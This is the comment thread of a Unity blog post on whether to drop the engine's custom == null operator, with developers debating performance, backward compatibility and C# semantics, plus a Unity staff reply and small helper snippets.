(As a beginner, it confused me by ‘magically’ nulling out pointers I had never touched. As a experienced user, I wasted an afternoon tracking down a threading-related bug it caused.)
me5月 29, 2014 6:46 pm
oh one more comment on this (after reading it over)
you can create your own funky language call it unity, but please don’t break c#, leave it alone. lots of people come from java/c# and not c/c++ background and it just won’t work out well, you will drive them nuts…
me5月 29, 2014 6:33 pm
I always do
if(o == null)
or
if(o != null)
i never do
if(o)
Andy Martin5月 27, 2014 11:15 pm
I prefer that a null check not be some secret, expensive operation.
Imi5月 27, 2014 2:16 pm
+1 for removing this language quirk. It always freaks out our new coders
@JOHN: object.ReferenceEquals(myGameObject, null) will do the classic and fast null-check (which gives false for destroyed, but not yet really nulled objects)
Alexander Dolbilov5月 26, 2014 8:06 am
As for me problem with null check lays in space of performance. My tests on Android show me that custom operator== works 12 times longer than (System.Object(obj)) == null. This is really horrible for different caches and optimizations. My opinion is that you can leave custom operator== but you should provide option for fast null check. So I think you should try to optimize bool conversion operator, operator! or write custom static IsNull method for fast check.
Stuart L.5月 26, 2014 3:45 am
Please get rid of it, it’s a terrible abuse of the language.
MofoMan20005月 26, 2014 1:45 am
What’d be really great is if you could properly synchronize the C# object to the C++ object. That would solve all those problems. When Object.Destroy is called, it should remove references to the C# object as well as the C++. That way, even before the garbage collector is called, true null will be functionally the same as your fake null.
greenland5月 24, 2014 9:13 pm
Deprecate the operator in that context with @see equals(), and fix it in a million years on unity version 12.3.1
john5月 22, 2014 12:30 am
Just one question. Is there any way to get rid of this == operator? I mean, I use it a lot but seems to be very slow. What are you using to avoid it?.
Thanks in advance.
Gavalakis Vaggelis5月 21, 2014 4:07 pm
All..no wait, I mean *ALL* existing assets, plugins, code found randomly on the net, your own project etc. will BREAK. *Everything* will be obsolete and unusable.
Thats reason enough for me to keep it as is.
Jules5月 21, 2014 1:33 pm
Not sure if it’s mentioned already, but consider use of a compiler option so that older projects don’t break, and newer projects can adopt the new system.
Veovis Muad'dib5月 21, 2014 1:30 pm
Reading through the top of this thread, I’ve come to the following opinion:
– Remove the == overload
– Add a method to check for whether the reference is still valid
– Either Unity or end users can add an IsAlive() extension method, which can be called even on null references, without denying the ability to actually check for null alone.
Amit5月 20, 2014 7:51 pm
As a programmer, you need to be ready to these kind of changes. saying “Please dont change my habbits” is too childish.
A game engine must be very optimized. you maybe dont notice it much but this very topic might be saving you alot more time optimizing than the time you would waste on making your code better.
sure, it might not be a very drastic performance boost, but this and that, and 100 more “breaking” changes might be what unity really needs.
bosnian5月 20, 2014 7:07 pm
leave it as it is now. add new things and don’t change old. we are familiar with old code :)
Ash Wolford5月 20, 2014 6:58 pm
Drop it. Existing implementation showcases inconsistent and unusual behavior.
Replace it with a static method following precedents set by .NET, e.g. IsNullOrDestroyed(…)
serpin5月 20, 2014 5:42 pm
If you DO decide to drop it please write a REALLY noticeable post with an extension method we could use to mimic the current operator behavior. People will thank you.
Alexandre Thibodeau5月 20, 2014 4:27 pm
I’d say: remove it. It’s a new major version of the engine, so compatibility breaks are to be expected now. That being said, would it be possible to make it a compile option/preprocessor define that would change the code inside the operator? That way, old projects could keep the old (now deprecated) operator, and new projects could use the new operator. Of course, this could lead to issues if you have a mix between new and old stuff, but it’s better than having nothing. Anyway, the deprecated operator would eventually be removed, but it allows to transition more easily.
Also, if you can’t determine automatically in your translation script what the operator represents (old or new), perhaps you could let the user define it manually so you can still convert a project to the new operator.
Hannibalov5月 20, 2014 1:04 pm
Could you let us know how the decision is going beforehand? It’d be great to be prepared. And in case the decision is to drop the operators, an example or gidelines to ensure compatibility in both versions would be optimal.
Thank you!
haim5月 20, 2014 10:35 am
in the name of performance, drop it!
Amir Ebrahimi5月 20, 2014 8:44 am
A lot of good comments here…John Seghers comments were close to convincing to me. However, I’m in favor of keeping the current behavior even though I hear that it isn’t living up fully to the C# specification. One thing to keep in mind is that it isn’t clear to most devs what parts of the engine are purely managed and what parts tap into native code / memory. In that case it would be confusing and burdensome, IMJ) to most developers to have them concerned with the internal details of the engine. Essentially, they’d be tasked with knowing about when internal objects were being released AND when garbage collection was picking up the managed parts. I think it was a good design decision back then and would choose the same even now.
Richard Lawrence Harrington5月 20, 2014 7:24 am
Please remove the custom == operator. Not only do I never do things like:
if (myObject == null)
but I have been training others for years not to do it and instead use:
if (!myObject)
It’s not confusing, looks cleaner, is shorter, and (if I’m not mistaken) would still work without the custom == operator.
PAHeartBeat5月 20, 2014 6:10 am
I agree with Emil “AngryAnts” make it dead, and make programa strict for development like c++ “no internal tricks by unity”.
it’s time to move slowly towards c# to c++.
about backward capability, there is a rule, if you need some good or better, you must skip some thing. May be lots of developer even few from Unity team, but one more state is not a big issue for game developer like game-object / component state would destroyed / null.
Laurent5月 20, 2014 1:33 am
If changing == results in more verbose code, then No. We test against null, not caring what it was before.
So I agree with Rune on that one and would add that anything that makes coding faster is very Unity like.
But maybe there is a compelling case that’s based on an actual game scenario?
Valentin5月 20, 2014 12:54 am
I agree with Rune.
Leave it as is, fix what can be fixed, add these edge cases to the docs.
I only stumbled upon this behavior once. It was a bit hard to find out what was going on but now I am aware of it. The thing is that most of the people don’t even know about it and use myObject == null checks all over the place as “was myObject assigned or was it cleared?”. There’s no point to know that there are actually two states.
This change makes this trivial case a lot more complicated.
craig5月 19, 2014 11:18 pm
This seems like it would create a nightmare in backwards compatibility for older projects.
Brandon Catcho5月 19, 2014 10:53 pm
I would love for Unity to stay cutting edge and fresh. I understand that removing the overload could wreck havoc on my current code base, and worse yet, my asset store items. But none the less I think it is a fair price for a more transparent and consistent engine.
My vote: Remove it.
John Seghers5月 19, 2014 10:44 pm
@Andrei:
This is an example of why the overload is a problem. No, the reference has not actually been removed. This means that if your list is holding the reference, and your Component has other references, these won’t be released.
@L:
Actually, your comment about if (null == obj) making a reference check is incorrect. I just ran a test in Unity where I did the following test (each step on a separate Update() call so that the destroy object would occur before the test):
1) set a GameObject field to a new GameObject
2) Destory the game object
3) Log both versions of the test. Both (obj == null) and (null == obj) returned true.
You can, however, cast the UnityEngine.Object to a c# object to explicitly invoke the reference check: ((object)obj == null) results in true for a non-null, but destroyed Unity object.
@Scott Goodrow: C# allows overriding of == and !=, but not ??. (C# spec 7.3.2)
rayen5月 19, 2014 10:03 pm
keep it you will destroy my stuff :o thats why i hate up dates
John Seghers5月 19, 2014 9:51 pm
Re: prior comment: sorry about the formatting of the code samples, the website stripped the indentations.
John Seghers5月 19, 2014 9:49 pm
Please remove the custom == (null) operator.
I’ve programmed games in everything from 6502 asm (Atari & Nintendo days) to C, C++, Java, and now C#. I’ve also done a lot of library, API, and other development in over 34 years.
The custom == check is very much not what I expected–in fact I initially “corrected” some code that was using this as a “is valid” check.
I was unaware that the Null coalescing operator (??) did not use the same rules. I think this may be the strongest argument for removing the custom implementation. In C#, the statement:
var a = b ?? c;
is semantically equivalent to:
var a = b;
if (a == null)
{
a = c;
}
Even if, as @Rune points out, the ?? construct is not *useful* with GameObjects, the semantic equivalence is important. In Unity today, the two are NOT semantically equivalent.
Also, Section 7.10.9 of the C# specification makes a distinction that comparing to the literal null has special properties–specifically for Nullable types (not reference types as being discussed here). This even more speaks to the intent of the specification.
Another point that seems to be being missed here: This applies to all UnityEngine.Object-derived classes. This means that every Component (MonoBehavior, etc) has this behaviour. It is very easy to not realize that you are holding a reference to a destroyed object, which may itself hold references, etc. This can lead to the Garbage Collector not being able to free otherwise destroyed objects. I suspect that this is more likely to cause problems to novice developers than the slight (and confusing) syntactic sugar of the overriden == operator.
As others have pointed out, an extension method .isValid() or .isAlive() which can do these same checks is easy, clearly understood, and does not have the verbosity of “if (obj != null && obj.isValid)”
Another issue is that of Generics. Having semantic differences between Unity’s concept of null and the rest of C#’s concept of null means that writing generic classes and/or methods have to take this into account.
As a possible aid in preventing outright breakage of projects between V4 and V5, might I suggest that your update tools look for all usages of “== null” and replace them with something like:
if (Migration.IsNullOrInvalid(obj))
{
}
where you have an implementation like:
public static class Migration
{
public static bool IsNullOrInvalid(object obj)
{
if (obj == null)
{
return true;
}
var unityObj = obj as UnityEngine.Object;
if (unityObj == null)
{
return false; // non-null reference, but not a Unity Object
}
// Unity object, add the validity check.
return !unityObj.isValid();
}
}
This should preserve the functionality of code and at the same time make it easy to search the code for such modifications. The goal at the end of migration would be that the Migration calls would be removed…but it would not be an error to leave them in.
It is also possible that with the Roslyn toolset which Microsoft released, you could make this kind of conversion only on things which were determined to involve UnityEngine.Object reference checks.
John5月 19, 2014 8:25 pm
You could potentially have only user-level scripts use the overloaded operator, so that the caching code would use the native “==” but user code uses the customized version. I’m not sure if the compilation or inheritance schemes would allow it without causing more problems, but it seems to be a good compromise.
If you add a function for the check, then I’d prefer “isNull()” or “isValid()” because “== null” is also used to prevent things happening before an object is created. “isDestroyed()” seems too specific for the intended purpose.
Sonny McKnire5月 19, 2014 7:23 pm
I would leave it as is if for no other reason then backwards compatibility.
Jason King5月 19, 2014 6:58 pm
I would expect that you would keep in the custom null check for now and additionally add in some sort of isNull check as well into both 4.x and 5.x. Additionally provide an option to enable/disable a warning about possible use of null comparison. A year later you can announce that the custom null check is going to be removed in 6 months. 18 months should be enough time for people to convert their code and get accustomed to the change.
Kain Shin5月 19, 2014 6:31 pm
I have not-so-fond memories of needing to add flag checks to every pointer comparison in Unreal (MarkedForDelete, Destroyed). I believe operators == and bool prevent more problems than they cause.
My vote is to minimize support burden by making operators bool and == redundant with existing methods with explicit names, but expose these two getter properties to power users:
1) .isDestroyed
2) .internalHandle
3) and whatever else might be useful to those who know what they are doing need access to pointer addresses under the hood
Bjorn5月 19, 2014 6:15 pm
While I can really understand why to remove it. And to the largest part agree with it. If there is one thing I have learned when creating code in general is that things need to be as easy to debug as possible! And the code (in editor mode only?) telling me what game object, and what script/field on it is null, is extremely useful! As otherwise I would need to implement checks that things are not null simply to be able to find where I forgot to assign references!
As for the performance increase, could you give an approximation of what it will affect? (If it’s a minimal part of the frame time, it’s pretty irrelevant, if it affects a lot of commonly used things, well more reason to change!)
What do we ACTUALLY expect the == null to do?
If people are using the == to extra check if the object is invalid OR null then I understand the problem of removing it. But isn’t that the wrong usage of a == operator?
However if the “main” use of the == operator overload is to give more info then a simple null-ref exception then I really like it!
One option that might be relevant to use: When Destroy is used, actually do NOT destroy the c++ side until end of frame, as far as I understand that is when you invalidate the c# side completely anyways?
alexzzzz5月 19, 2014 6:02 pm
Remove it, and remove implicit Object.bool operator as well.
Corey Skiffington5月 19, 2014 2:05 pm
Kill it.. kill it with fire! Though for ease of transition for newer users a static UnityEngine.Object.IsAlive( testObject ) bool that handles checking for null first then IsDisposed so they don’t get the order reversed will probably be helpful. It will also make transitioning code easier. The importer can automatically change any code where the creation date was before this blog post. ;)
Kim5月 19, 2014 1:41 pm
Get rid of it. It is a new major version so breaking old code is fine. The behaviour of the custom == is counter productive and must be removed.
Andrei5月 19, 2014 12:19 pm
Sorry if I get it wrong, but does it means that no longer GameObjects references get null when GameObject is destroyed? This is so usefull, if you have a List or List for example you can assure that references for destroyed object gets null which is great.
Manuel Kugelmann5月 19, 2014 12:05 pm
If you keep all the old garbage, at some point Unity will be so full of garbage, that you’ll need to do a much bigger breaking change by rewriting the whole thing …
Manuel Kugelmann5月 19, 2014 12:03 pm
Move the old classes to a legacy namespace … those who need them can still use them, but default would be the new classes
Manuel Kugelmann5月 19, 2014 12:00 pm
Move forward!
If you desperately need compatibility, you can always use a thoroughly tested older unity version.
Don’t paint yourself in a corner by looking backwards all the time.
Major versions are meant for breaking changes! You already did a much bigger change with the “active” flag of game objects and it was ok …
You could tag a version of Unity as “Long Term Supported” and give it hotfixes for critical issues, if you are worried about some users.
Matt B5月 19, 2014 11:59 am
I would be in favor not just of removing this, but the implicit bool conversion as well. In fact I find the bool conversion to be a far worse case of breaking standard, expected C# behavior.
Ideally, as listed by another poster above, why not just implement IDisposable, along with an IsDisposed property. That’s designed for exactly this case-unmanaged resources being disposed of but the containing managed object still existing.
In addition (also mentioned above), for ease of use and code clarity, add a static wrapper to Unity.Object that performs a null and IsDisposed check:
pubic static bool IsNullOrDisposed(Unity.Object obj)
{
return (null == obj) || (obj.IsDisposed);
}
Adam T.5月 19, 2014 11:53 am
*Regards to backwards compatibility, particularly with UAS third party assets – we go through these hoops with every major (and sometimes minor) release anyway. And it would be a good reason to get some of the “less active” asset developers to refresh stale assets. I would argue that everything has a shelve life.
Adam T.5月 19, 2014 11:47 am
I’ll happily defer to the wisdom of the more technically astute, but if it’s a question of labour and growing pains: how much time do we spend already optimising our code for extra performance?
I’d argue that I’ve spent weeks in some cases just trying to get that little extra back – even just one or two frames can make a world of difference, especially on mobile.
If you told me I can gain a lot by going through all my old code and changing the way I check for nulls, I’d be the last person to complain.
L5月 19, 2014 11:26 am
indifferent. I use “if (obj){}” and “if (!obj){}” most of the time anyway. just don’t remove that
as a side note, you already have the ‘real’ null check by doing “if (null == obj){}” instead.(the C# compiler actually calls the == operator on null, and because it has no class, there is no overload)
Chillersanim5月 19, 2014 11:19 am
As it would break most code assets on the asset store as well as most old projects, I vote to leave it as it is.
It should be better documented and pointed out somewhere, but as it is now, it works, is user friendly in most cases, helps to find bugs faster and most important, it is used in many assets!
People say, don’t change a working system. I would reccomend as much.
DynamicHead5月 19, 2014 10:44 am
I agree with you Rune Skovbo Johansen, though I wouldn’t be upset to change my code if it is better for the performance and Unity in the long-term.
Beside this.. I am afraid that Unity’s Asset Store, which has a lot of assets from people who seem to have “published and forgot” their stuff.. would just explode if you change the == null-thing. ( To solve these kind of problems in the future: Maybe it would help to introduce some kind of “ping-quality-layer” that makes sure the creator of an asset in the Asset Store is still there, updates and supports the product(s) that it also works with the newest version of Unity. And if the creator doesn’t response, the asset is deactivated and not sold anylonger. But I am getting offtopic….. )
Benoit Fouletier5月 19, 2014 10:37 am
Drop the == operator, keep the bool operator *.
As for the “detect nullRef and log a message” thing, I’d say put more effort into streamlining *actual* debugging. Logging is not debugging, it’s a lame fallback from the Unity 1.x / 2.x days. Like, how about offering to trigger a debug session when a nullref (or any assert for that matter) occurs? Educate your users!
UnityVS is already pretty great but from what I gather it could use some love from your side.
* I learned to always use the bool one (and actually prefer it now, after working some years with C++), and was actually surprised to discover rather recently that == had been overloaded as well, so in the (rare) case when you want to detect “C# not null but C++ destroyed”, you have to cast to object (System.Object) to bypass the custom == operator! So bool check, nullcheck, object nullcheck… it’s like in browser JS where you have == and ===… you have to stop the madness at some point.
Kieknai5月 19, 2014 8:53 am
I vote for dropping it in Unity5
willy5月 19, 2014 5:57 am
Ok some people say c# programmers expect this behavior. I doubt this is the case. Since most c# devs do not use wrapper classes. They do not expect a half dead game object and with the c++ part dead == becomes useless anyway.
minionnz5月 19, 2014 5:13 am
Tough question – removing it sounds like a great idea, but then we have the issue of checking isDestroyed to ensure the underlying native object is not null.
I guess it really depends on whether people think of GameObject as a wrapper or not.
When working with a GameObject, the native stuff is encapsulated and hidden – and this is the way is should be. Users shouldn’t have to think about checking the underlying engine.
How about introducing a ObjectWrapper base class that does not implement this behaviour? It could also expose some more native/low-level functionality so that if people want to deal with the native stuff then they can.
Dan5月 19, 2014 3:41 am
This seems like a sensible change to me.
I think if it did go ahead there should be a deprecated warning first.
Lea Hayes5月 19, 2014 2:24 am
This seems like too much of a project and asset breaker to me. I would prefer that this was left as-is.
If, however, this feature was changed it might be beneficial if an extension method was added to simulate the older behaviour:
public static bool IsValid(this Object obj) {
return object != null && !object.HasDestroyed;
}
Thus:
if (someGameObject.IsValid()) { // Its not null and not destroyed. the old != null
}
Fernando Zapata5月 19, 2014 1:53 am
I would keep it. You can fix the multi threading issues, and the performance issues can be avoided once a developer understands how it works. What I would do instead is provide better documentation of the unique aspects of Unity C# development like this one and others that are due to the nature of the C# to C++ engine integration. Unity is going to continue to have odd behaviour and edge cases compared to pure .net code even if you get rid of the custom == operator. Developers just need to be made aware of this up front in a clear and concise manner. The scripting section of the manual needs to have a section dedicated to this just like there is a section on Unity’s coroutines.
Isaiah5月 18, 2014 11:31 pm
What if you made it
myObject.isNullinstead of
myObject.destroyed?
Isaiah5月 18, 2014 11:20 pm
So you’re proposing we replace
if (myGameObject == null) {}
with something like
if (myGameObject.IsDestroyed) {}
This seems like a fine substitute to me, and couldn’t you throw a warning in Unity 4.x like:
`GameObject == null is obsolete. Use GameObject.IsDestroyed'
But isn't “IsDestroyed” a bit misleading and maybe confusing? I guess it makes since from the C# point of view. Hmm.... So I guess the main downside here is really just debugging NullReferenceExceptions, right? If it really speeds things up then I say go for it.
I prefer to use
If (!myGameObject) {}
Would removing the custom == operator effect this? Also, is this slower then a “true” null check (none custom == operator)?
msw5月 18, 2014 9:12 pm
I just wanted to post and say I don’t care either way, as long as you put something in the patch notes if you do change it.
Thomas5月 18, 2014 6:51 pm
I say drop it. I would rather deal with the consequences now rather than later. However, I do not have very large projects to retroactively correct.
Ugur5月 18, 2014 6:27 pm
I find it intuitive as it is, i’d find it less intuitive if one couldn’t do
if(blub!=null) or if(blub==null)
In some cases one can’t do if(!blub) which i find annoying already, i’d like that to work in all cases, too.
Besides that, if you are about to change things to have more sensical code and functionality on codeside, i find other things are way more annoying and should be addressed first.
Like that in C# one can’t just as freely use yield in all methods etc, no, it has to be used in an IEnumerator, i’d prefer it if it was flexible enough that it would handle it behind the scenes like when coding in js/Unityscript.
Just one example, one could list various others of things i’d like to get improved first before changing working functionality for the sake of it =)
Misterf5月 18, 2014 6:07 pm
From what i gather, changing == makes it ‘pure’ but essentially useless without an isDestroyed check. What’s good in being ‘pure’ if it means being useless ? To me, Unity has always been about being convenient, i don’t reallu if it is not entirely pure.
My advice:
1. keep == the way it is. Everyone will thank you for not breaking their existing code and practices. Novices will thank you for keeping thing simple an intuitive for them
2. Introduce something like isNullOrDestroyed() for advanced users who will want/need the extra performance and control
A lot of your users don’t understand or care about the concept of wrapper classes, a probably significant part doesn’t know much about garbage collection, and it’s important to remain simple for these guys.
As for advanced developers, we can understand when you tell us about the little fanciness that you had to introduce in the design of unity, and we can live with it as long as you provide that alternative way of getting top performance out of our code (isnullordestroyed)
Nicolas5月 18, 2014 5:56 pm
When the C# wrapper its destroyed by the garbate collector, the reference will be null, so, the custom operator will work in that case also right? So leave the operator, because when i want to operate over the destroyed gameObject/monoBehaviour, if the object has been collected by the garbage collector, i will need to the the null anyway, so that derives in a double check like this one
if(go == null || go.destroyed) { }
Maybe you get sure that the object will be never destroyed to prevent that if, but thats its a memory consuming solution.
Also, if its only a problem on the editor, i would sacrifice the ?? operator in order to prevent a double check or memory consumption.
Ashkan5月 18, 2014 11:57 am
Lucas
Thanks for bringing this up in public.
I’ve tried reimplementing part of the unity API in managed code so i know what i am talking about. I’m a user since 2.5 windows era and made some small and not that small projects with others with unity.
I think you shoudl drop it and also even the reflection based Update,FixedUpdate and use virtual methods / interfaces for them as well.
1- You should not hide things from the user and the current == operator is doing that.
2- Users are getting more and more mature and better developers are using unity for serious stuff which things like these behaviours, not having any controls on constructors and … make real problems to fit unity into good practices and processes which people have, I mean .NET standards, testing systems, DI systems and …
I think you guys no what parts of the unity api are not that well designed or air in the side of ease of use for atists instead of thinking about purity, performance and developers and should change as much as you can in 5.x
Don’t get me wrong! What you’ve designed is beautiful and awesome and nice and yours and aras’s twits are one of the reasons that i visited the site ocasionally back then but please do it man! do it!
Nanity5月 18, 2014 11:26 am
Definitly drop it!
I tried to break all references to a GameObject, destroy it, run an itermediate GarbageCollection and check if the gameObject was removed via WeakReference.
It stayed alive for now mentioned reasons…
Checking for a destroyed gameObject with ‘go == null’ makes somehow sense, but code correctness goes over compatibility in the long run.
Brent5月 18, 2014 10:41 am
I’m for compile flag! That way the old version can be used however the “correct” version will be available. I would no doubt only use the ladder, if it was only one or the other. I would burn the old version and do it the way that we all expect it to work. After all, most everyone thought that it worked that way before! XD
Andre5月 18, 2014 9:49 am
I think you should keep the overloaded operator but add a way to do the underlying low-level checks that you need in some other way.
A lot of your users are not low-level programmers, and forcing them to deal with and understand these subtleties before they can write “correct” code is a bad choice. The current behavior tests for “logical” null, which is great in most cases. The ability for the editor to point out specifically the GameObject instance where things are going wrong is golden to casual scripters!
Losing that functionality isn’t worth the low-level correctness at all.
Mat5月 18, 2014 9:10 am
This also confused me quite much until i figured out that == was overloaded and I’d agree that you should not have added it in the first place. However, changing this now is going to break every single existing unity project for sure. Optimum would be to keep two implementations and only use the overloaded operator if a special compiler conditional is set (i wouldn’t even expose this through the editor). A user who wanted to keep the old style could simple set this compiler flag – and it would be set automatically when upgrading an old project, but would be off otherwise.
Manish Kumar5月 18, 2014 8:29 am
Whatever you do, please give the error details like you do now in the editor!
tswalk5月 18, 2014 6:53 am
I actually didn’t know this was happening… the fake null thing that is. I would prefer to check an object method for existence, then to do a value comparison against NULL.
I wonder if this is why when I tried to serialize a field of a boolean that when checking OnEnable for if(_state == null) to see if it has been initialized I always get this ugly warning:
Assets/ObjectLinker/Editor/WhateverClass.cs(29,17): warning CS0472: The result of comparing value type
_state' with null isfalse’
of course, i’m probably doing something else horrifically wrong with serialization.. but a null should not have any value (least false) when initialized, it should just be NULL. This tells me if I actually need to fill it with a value.
I don’t know, i’m probably just lost.
Lost5月 18, 2014 4:42 am
I agree with the many that are for the change and don’t like it when the operator does more than I expect it to without my knowledge. For all those that say the check will be a 2 step are wrong, they can make it check null & validity.
What I would recommend is to do the same as many APIs and find a way to continue supporting the old way of doing things and marking it as deprecated as well as clearly static that Unity 5.x or 6 (w/e version they choose) will not support that feature. (figuring how to do that is your challenge). You can find a similar case in PHP for example where they left the old mysql_* functions, but tell you to use the new ones, or objects, properties or methods that get deprecated in this manner in Microsoft’s .Net implementation.
Things need to keep moving forward for the better all while giving your users time to transition and not just shove it down their throats.
Scott Goodrow5月 18, 2014 4:20 am
I use this all the time, and only partially understand why. Which is to say, I understood as a newbie that testing if something is null is a clear way to know if there is something backing it. That’s really all that matters. How you get there, whether it be a bool, ==, or extension method, is syntactic sugar.
So I think its important to keep the functionality in tact. With that said, I have had issue understanding why ?? does not work, and the inconsistency is frustrating. I’d say keep things the same, and think hard about if there is something that could be done to make the ?? operator function as expected as well.
Robert Cummings5月 18, 2014 2:31 am
Not sure why people want to keep their code slower than normal for the sake of a tiny change in their code. This change doesn’t make anything harder. Unity needs a fast core. Just wrap it for js or something. C# should be lean and fast.
Ben5月 18, 2014 1:18 am
Keep it definitely.
Reason 1 alone is reason enough. Unity is built around its editor. That is its strength. Weaken our ability to debug in it and Unity moves back towards the game engines like all the old code based engines.
Like others I don’t see a need to null check any other way than what it does now. You said thread safety is fixable so that point is moot. For people that need strict functionality provide them with a new API function.
Performance seems like it would be mostly unaffected when doing standard null checks. This check would be a lot more common than checking for object equality I would think. As mentioned some hard numbers here would be helpful.
Please don’t make Unity Editor harder to use, the extra debug information is essential to rapid and distributed development.
Paul5月 18, 2014 12:26 am
Drop it!
Antao Almada5月 17, 2014 11:56 pm
I wish you followed the .NET Design Guidelines everywhere. Custom implementations lead to unnecessary long debugging periods. Other issues I would like to see changed: Properties instead of fields (allows validation), use of the IDisposable pattern, support for custom serialization based on attributes or overrides (like in the .NET framework and in JSON.NET).
Jim Thomson5月 17, 2014 11:29 pm
As someone who teaches beginning game dev to high school students, I have always wanted a ‘best coding practices’ guide with more detail than the scripting reference. Make the change but update the and expand the scripting reference.
Lucas Meijer5月 17, 2014 10:42 pm
Thanks for all the replies so far. Really interesting to read everyone’s viewpoints on this. Some replies and comments to them:
– It’s great to see that regardless of how people feel about == in particular, the overwhelming majority of replies seem to greatly prefer us to take the “break things but make it better” route. It’s what we usually really want to do, but we sometimes feel our hands are tied. (Sidenote: one big downside for us to make breaking changes, is that beta testers are much less willing to do “real development” on the beta, making the feedback we get much less helpful)
– I didn’t actually mention in the post an alternative to using “== null”, which is “if (myGameObject) {}”. This uses our implicit bool operator. I think this one is much less likely to cause confusion, because unlike ==, it doesn’t actually change the meaning of c#. (if we remove the implicit bool operator, the snippet above will just give a compile error). All the cases where people like the shortness of writing “if (myGameObject != null)” can actually be written even shorter with “if (myGameObject) {}”
– some valid points by rune and nicholas (and joachim internally) questioning wether removing == is actually better.
Many of the disadvantages of having == can be solved without removing the == operator. (the “only use on main thread” can be fixed, and I’m also confident we could make it faster if we put some effort into it). so the only argument remaining is “It does something else from what many people expect”, to which you can have a valid counterargument saying “well if you dont know any c#, you might actually expect it to work like this instead”.
@chris: it’s not possible for us to warn users that they are using == null, and that the meaning of that now changed. This is a pretty big argument on the side of not changing it.
@hannibalov: regardless of what we do with ==, you can always use “if (myGameObject)”, which would work fine in 4.x and 5.x
@patrickboelens: if you do “var go = new GameObject(); Object.Destroy(go)”, the variable go still has a reference to a c# object, but the c++ object that the c# object points to is already dead. You’re right that to the user it should not matter at all that our c# objects are actually implemented in c++. I’ve added that tech info to the post because people seem to like reading more technical things here, and because I wanted to describe the reason for the current behaviour
@everyone-who-suggested-make-an-option: making things options very much goes against much of our design philosophy at unity. In most cases, we feel that by adding an option, we just punt the problem to choose to our users, and didn’t try hard enough to make something that just works. you would also make it harder to test unity, and it would make it harder for asset store vendors to make their packages “work for everyone”. It’s not always easy, as for every option you do not include, there is someone that would like to have it, but if we make options for too many things, we’ll end up like so many 3d packages where there is so much stuff to configure and inspect in the UI. (anecdote: I believe we still have configurable colors for the profiler. this is something we’d never normally add to the product, and are a leftover from when nicholas needed a nice way to tweak the default colors, and somehow no one ever got around to removing these options again)
@rune: the main motivation is for users like these to not waste their time figuring out why things are behaving unexpectedly:
@Artemisart: when the c++ object gets destroyed, we cannot actually destroy the c# object. what you could want is that all the variables that point to the c# object are now null instead of references to that c# object, but for us to set all of those to null, we’d basically have to scan all memory to find these variables, which is a performance you really do not want on every destroy-ing of an object
@Everyone: thanks for all the replies! Usually this is the kind of discussion we have internally, and you only see the result in a later Unity release, often not having insights in the balancing act of pro’s and con’s that was behind such a decision. It’s defenitely a fun experiment to move such discussions much more to open for everyone to see. As you can see we still have quite some different ideas internally, I’ll write another comment in here at a point in time where we’ve come to a final decision for 5.0. Thanks a lot for participating (and feel free to drop new points of view in the comments here)
@Everyone: another sidenote: One of the things that often limits us in making breaking changes is our webplayer. The webplayer is the only paltform where we have a unity runtime that can be newer than the datafile of the game it has to play. for all other platforms we can guarantee that the datafile was generated from the same version of unity that the playback runtime was. While it’s sad that it looks like the horizon for plugins of the web is nearing, a happy upside of that is that we will loose the last platform that requires us to always write everything super careful in a backwards compatible way. Obviously we want to continue to make upgrading projects not super hard, but our hands will free up in the sense that we no longer have to always batch big changes into a single release, but if we decide it’s important enough, we could make more breaking changes in non major releases. (obviously we’ll have some communication challenges to deal with. “hey watch out, this is not a major release, but we changed some stuff for the better anyway!”).
There is tons of cruft in our codebase that says “if (dataFile < Unity4.3) then do this old buggy way, otherwise do the new correct way". we're very much looking forward to killing all that stuff.
adsamcik5月 17, 2014 10:04 pm
Well it might not be that big problem to fix if there is proper error reporting to it. Even for novices it could be fine if you just pointed out, that this is no longer supported and what to use instead. I think performance is more important than backwards compatibility in this case, because it shouldn’t be that hard to rewrite, only it might get annoying if someone used it like 100 times. I hope you guys make the right decision.
Darky5月 17, 2014 9:55 pm
I’ve already said to drop it but since then I’ve seen “Object.IsNullOrDestroyed()” suggested, and I would like to second that we get a function written exactly like that since it is very consistent with string.IsNullOrEmpty, which also works exactly how I need it to be.
Raj5月 17, 2014 9:49 pm
The thought of being able to support either a C# DLL or a C++ DLL that interfaces directly with the C++ engine is an intriguing one. Essentially, if I understand it correctly, that would simply require separate project files (one for C#, one for C++) and from the Editor it could be a simple combo box in the project settings to switch between the two.
I’m not sure since I’ve never seen the engine code if that would require any additional work; I’ve never attempted to access functions in a C/C++ exe from a C# DLL before.
It would have to support switching with a default on C# though; C# takes care of things that the programmer would be responsible for doing in C/C++ and simply switching to a C/C++ DLL would be incredibly jarring to a lot of programmers who are only exposed to managed languages.
I’m not sure if that discussion is really within the scope of the topic at hand, though.
Mike5月 17, 2014 9:43 pm
Keep it the way it is please. It’s easier to understand for novices, and *that’s the point of Unity.*
As a side project, I’ve made my own C++ game engine with lua for scripting, so I perfectly understand what the issue is. The original implementation was a smart idea. In my full time job, I work with lots of novice programmers, and working with them has taught me to appreciate things like that even if it means sacrificing “purity.”
Honestly, I’m not sure how this got on the radar for you guys considering all the other problems Unity has. Try working on a game in Unity from the ground up to shipping *internationally* and on multiple platforms, and you will discover at least 30 things that are way more broken, annoying, or missing in Unity than this. For example, Unity has no localization support at all. If you would’ve asked everyone “Should Unity make localized asset swapping support built into the engine?” I would’ve cried tears of joy. Instead, my coworker links me to this, and now I’m crying tears of sadness.
Besides, you could always add extra APIs to check “managed null” vs “engine destroyed” without breaking compatibility. What’s the point of breaking compatibility? Does this syntax annoy you that much?
Jodon5月 17, 2014 9:14 pm
The functionality should not change. To the end-user, having a Null Wrapper Object is meaningless. I propose you have an Object.IsDestroyed( Object obj ) method for cases where you really want to check if you have a Null Wrapper Object, rather than forcing everyone who writes obj == null to rewrite their code.
I believe it is much, much more intuitive to have a destroyed object be comparable to null than to always need to check IsDestroyed(obj). This also makes almost no sense when using GetComponent() which will return a Null Wrapper Object rather than null, so now I have to check if that object is valid? This seems REALLY unintuitive.
I think some of the issues you brought up can be addressed:
1. Speed
There seems to be an underlying issue with the current implementation. To begin, comparing a Unity Object to null is about 10x slower than just checking the reference. But puzzlingly, comparing a Destroy()’d Object to null is actually 10x slower than a non-destroyed object!
2. Consistency
Since the == operator is defined as being against two UnityEngine.Objects, the comparison against null fails in the unexpected cases you specified. For example, specifying “object realNull = null;” then comparing realNull to a Destroy()’d GameObject will return false. If you were to specify the comparison were with UnityEngine.Object and System.Object, you could catch these cases and make it consistent.
3. Coalesce Operator
If this truly can’t be fixed on your end, then just spit out a compilation warning on its use.
